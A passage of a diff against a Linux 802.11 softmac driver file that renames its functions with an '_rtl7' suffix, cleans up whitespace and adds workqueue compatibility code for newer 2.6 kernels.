ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); 